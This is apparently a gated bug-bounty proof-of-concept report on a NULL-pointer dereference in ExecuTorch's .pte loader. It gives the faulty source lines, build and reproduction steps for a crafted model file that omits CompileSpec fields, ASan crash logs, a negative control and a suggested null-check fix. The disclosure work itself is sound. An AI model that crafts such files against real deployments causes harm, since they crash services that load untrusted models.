You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

ExecuTorch .pte CompileSpec NULL-pointer dereference (CWE-476) β€” verified with a real crash

Status: gated, private security research PoC. Access requests reviewed manually. This is a research PoC for the huntr Model File Format Vulnerability program. All testing was performed locally (local files, no network, no live host).

Summary

BackendDelegate::PopulateCompileSpecs() in runtime/executor/method.cpp (pytorch/executorch) dereferences the FlatBuffers accessors for the CompileSpec.key and CompileSpec.value fields without checking them for nullptr. Both fields are declared as optional (non-(required)) in schema/program.fbs, so a structurally valid .pte file is free to omit either or both of them for any CompileSpec entry attached to a delegate. Loading such a file crashes the process with a NULL-pointer dereference (SEGV) inside Program::load_method() β€” i.e. simply loading an untrusted model that names any registered backend is enough; no inference call is required, and the crash does not depend on which real backend is present.

This was independently verified today by cloning and building the actual, current upstream pytorch/executorch main branch, generating a minimal crafted .pte file with an omitted CompileSpec.value, and driving it through the real, unmodified Program::load() β†’ Program::load_method() β†’ Method::init() β†’ BackendDelegate::Init() β†’ PopulateCompileSpecs() call chain under AddressSanitizer. The crash reproduces exactly as predicted.

  • Target: pytorch/executorch
  • Commit verified against: a6d812a082df57898b8608f56c867140cc9da32c (main, authored 2026-07-10 β€” the tip of the repo at verification time, fetched fresh 2026-07-11)
  • Vulnerable file: runtime/executor/method.cpp
  • Vulnerable function: BackendDelegate::PopulateCompileSpecs()
  • Crash site: runtime/executor/method.cpp:185 (compile_spec_in_program->value()->size()); the sibling access at method.cpp:181 (compile_spec_in_program->key()->c_str()) is an equally-unchecked NULL deref for the key-omitted case.
  • Schema: schema/program.fbs, table CompileSpec { key: string; value: [ubyte]; } β€” neither field carries the (required) attribute.
  • Reached via the public loader API: Program::load() + Program::load_method() (the two calls any ExecuTorch embedder makes to load a .pte file).

Root cause

// runtime/executor/method.cpp, BackendDelegate::PopulateCompileSpecs()
for (size_t j = 0; j < number_of_compile_specs; j++) {
  auto compile_spec_in_program = compile_specs_in_program->Get(j);

  compile_specs_list[j].key = compile_spec_in_program->key()->c_str();   // L181
  compile_specs_list[j].value = {
      /*buffer*/ static_cast<void*>(
          const_cast<uint8_t*>(compile_spec_in_program->value()->Data())), // L184
      /*nbytes*/ compile_spec_in_program->value()->size(),                 // L185
  };
}
// schema/program.fbs
table CompileSpec {
  key: string;    // like max_value   -- NOT (required)
  value: [ubyte];  // like 4, ...      -- NOT (required)
}

Because key/value are optional flatbuffer fields, an absent field simply makes the generated accessor (key() / value()) return nullptr β€” this is not a malformed/corrupt flatbuffer, it is well-formed per the schema. Neither accessor's result is null-checked before being dereferenced (->c_str(), ->Data(), ->size()), so Method::init() SEGVs while initializing any delegate that carries such a CompileSpec.

PopulateCompileSpecs() runs for every BackendDelegate entry in a program's ExecutionPlan.delegates, for any backend ID the runtime has registered (BackendDelegate::Init(), method.cpp), so this is reachable with any real backend (XNNPACK, CoreML, Vulkan, a custom backend, …) as long as the crafted delegate's id string matches one that's linked into the runtime.

Why full FlatBuffers verification does not catch this

ExecuTorch supports two load-time verification modes, Program::Verification::Minimal (default) and Program::Verification::InternalConsistency (runs the full flatbuffers::Verifier over the buffer). Both were tested and both crash identically (see asan_crash_minimal.txt and asan_crash_internalconsistency.txt) β€” because an absent optional field is, by definition, something the FlatBuffers Verifier accepts as valid. This is a semantic/logic bug (CWE-476, missing null check), not a verification-bypass or malformed-buffer bug, so "run the verifier" is not a sufficient fix.

Distinctness

This is a different function, different file region, and different bug class from other already-reported/already-filed ExecuTorch .pte issues in this operation's backlog:

  • Not the XNNPACK delegate constant-data-size-vs-shape heap-overflow (backends/xnnpack/runtime/XNNCompiler.cpp, filed 2026-07-09) β€” that is an OOB read (CWE-125) in a completely different backend-specific parser.
  • Not the ExecuTorch min_verify/Operator.name OOB read fixed under Minimal verification only β€” this bug reproduces identically under full InternalConsistency verification (see above), so it is not the "skip the Verifier" bug class at all.
  • Not CVE-2025-30402 (method_meta.cpp::calculate_nbytes integer overflow, already fixed upstream) β€” unrelated function, unrelated file.
  • Not CVE-2025-54950 (missing argument-count validation in kernels/prim_ops/*) β€” unrelated file, unrelated bug shape.
  • The companion FlatTensorDataMap/.ptd TensorLayout null-deref (extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout(), a structurally analogous "optional flatbuffer field dereferenced without a null check" bug in a different file/table/API) was also confirmed present in this same commit during this research pass, but is reported separately/held back to keep this submission to one crash chain; see "Also observed" below.

Reproduction

1. Build the ExecuTorch core runtime + data loader under ASan

git clone --depth 1 https://github.com/pytorch/executorch.git
cd executorch
git submodule update --init --depth 1 \
  third-party/flatbuffers third-party/json third-party/gflags \
  third-party/flatcc backends/xnnpack/third-party/FXdiv

cmake -S . -B build -DCMAKE_BUILD_TYPE=Debug \
  -DEXECUTORCH_BUILD_XNNPACK=OFF \
  -DEXECUTORCH_BUILD_PTHREADPOOL=OFF \
  -DEXECUTORCH_BUILD_CPUINFO=OFF \
  -DEXECUTORCH_BUILD_EXTENSION_DATA_LOADER=ON \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build --target executorch extension_data_loader -j

2. Build the crafted-.pte generator and emit malicious.pte

g++ -std=c++17 build_pte.cpp -o build_pte \
  -Ibuild/schema/include -I. -Ithird-party/flatbuffers/include
./build_pte malicious.pte

build_pte.cpp emits a minimal, valid Program: one ExecutionPlan named "forward" with one BackendDelegate{id="TESTBACKEND"} carrying one CompileSpec{} (both key and value omitted).

3. Build and run the loader harness under ASan

g++ -std=c++17 -DC10_USING_CUSTOM_GENERATED_MACROS \
  -fsanitize=address -g -O0 -fno-omit-frame-pointer harness.cpp -o harness \
  -I. -Iruntime/core/portable_type/c10 -Ibuild/include -Ibuild/schema/include \
  -Ithird-party/flatbuffers/include \
  build/extension/data_loader/libextension_data_loader.a \
  build/libexecutorch.a build/libexecutorch_core.a
./harness malicious.pte

harness.cpp registers a trivial always-available "TESTBACKEND" BackendInterface (so the delegate-init loop in Method::init() is actually entered), then calls the real, unmodified FileDataLoader::from() β†’ Program::load() (default Minimal verification) β†’ Program::load_method("forward", ...).

harness_verify.cpp is identical except it calls Program::load() with Program::Verification::InternalConsistency, to prove the crash survives full flatbuffers verification.

Result (real captured output)

Default (Minimal) verification β€” asan_crash_minimal.txt

[harness] Program::load() ...
[harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1715711==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557d3a175607 bp 0x7fffc2d5dc40 sp 0x7fffc2d5dc30 T0)
==1715711==The signal is caused by a READ memory access.
==1715711==Hint: address points to the zero page.
    #0 0x557d3a175607 in flatbuffers::Vector<unsigned char, unsigned int>::size() const .../flatbuffers/vector.h:164
    #1 0x557d3a172e4b in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...)
    #2 0x557d3a17264a in executorch::runtime::BackendDelegate::Init(...)
    #3 0x557d3a164b4c in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971
    #4 0x557d3a163e15 in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862
    #5 0x557d3a18298a in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399
    #6 0x557d3a158c8f in main poc/harness.cpp:86
SUMMARY: AddressSanitizer: SEGV .../flatbuffers/vector.h:164 in flatbuffers::Vector<unsigned char, unsigned int>::size() const
==1715711==ABORTING

Full (InternalConsistency) verification β€” asan_crash_internalconsistency.txt

Identical SEGV, same crash site, same call chain (only the binary's ASLR addresses/PIDs differ) β€” proving the flatbuffers Verifier does not, and structurally cannot, catch this:

==1717177==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 ...
    #0 ... in flatbuffers::Vector<unsigned char, unsigned int>::size() const .../flatbuffers/vector.h:164
    #1 ... in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...)
    #2 ... in executorch::runtime::BackendDelegate::Init(...)
    #3 ... in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971
    #4 ... in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862
    #5 ... in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399
==1717177==ABORTING

Negative control β€” negative_control_output.txt (build_pte_benign.cpp / benign.pte)

Same harness, same code path, but CompileSpec{key="max_value", value=[4,0,0,0]} (both fields present, well-formed). PopulateCompileSpecs now completes without crashing; the process only fails later, for an unrelated and expected reason (the minimal test program has no Chains):

[harness] Program::load() ...
[harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)...
E 00:00:00.000458 executorch:method.cpp:986] No chains
load_method returned error (no crash): 0x23
EXIT:2

This confirms the SEGV is caused specifically by the omitted CompileSpec fields, not by any other aspect of the minimal test program or harness.

Impact

Loading an untrusted/downloaded .pte model file that contains a delegate (any backend ID the host application has registered) with a CompileSpec missing its key and/or value field crashes the ExecuTorch runtime with a NULL-pointer-dereference SEGV during model load β€” before any inference is run, and regardless of which verification mode the embedding application selects. This is a straightforward denial-of-service against any process that loads attacker-supplied or attacker-modified .pte files (the explicit threat model of the huntr Model File Format program).

Also observed (not the subject of this report)

While verifying this bug, the structurally analogous null-deref in extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout() (TensorLayout.sizes/dim_order optional fields dereferenced without a null check, reached via FlatTensorDataMap::get_tensor_layout()) was confirmed still present in source at the same commit (a6d812a082df57898b8608f56c867140cc9da32c) by code inspection, but was not independently re-verified with a fresh execution/crash capture in this pass (time/scope), so it is intentionally not claimed as verified here.

Suggested fix

In PopulateCompileSpecs(), check compile_spec_in_program->key() != nullptr and compile_spec_in_program->value() != nullptr before dereferencing (treat an absent key as an empty string and an absent value as a zero-length buffer, or reject the program with Error::InvalidProgram), matching the null-safety already applied to most other optional-field accesses elsewhere in method.cpp.

Files

  • build_pte.cpp β€” generates malicious.pte (the crash-triggering file) using the real, unmodified flatc-generated program_generated.h.
  • malicious.pte β€” the crafted model file (272 bytes). One BackendDelegate (id="TESTBACKEND"), one CompileSpec with neither key nor value.
  • build_pte_benign.cpp / benign.pte β€” negative control (well-formed CompileSpec).
  • harness.cpp β€” loads a .pte via the real runtime under default (Minimal) verification, driving Program::load β†’ Program::load_method β†’ Method::init β†’ BackendDelegate::Init β†’ PopulateCompileSpecs. Registers a minimal no-op available backend "TESTBACKEND" so the delegate-init loop is entered.
  • harness_verify.cpp β€” identical, but loads with Program::Verification::InternalConsistency (full flatbuffers Verifier). Proves the crash still occurs under full verification.
  • asan_crash_minimal.txt β€” captured ASan SEGV output (Minimal verification, real run of harness.cpp).
  • asan_crash_internalconsistency.txt β€” captured ASan SEGV output (InternalConsistency verification, real run of harness_verify.cpp).
  • negative_control_output.txt β€” captured output of harness.cpp against benign.pte, showing no crash.

Source availability

100% open source. github.com/pytorch/executorch (BSD-3-Clause). Vulnerable function: runtime/executor/method.cpp, BackendDelegate::PopulateCompileSpecs.

Downloads last month
2
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support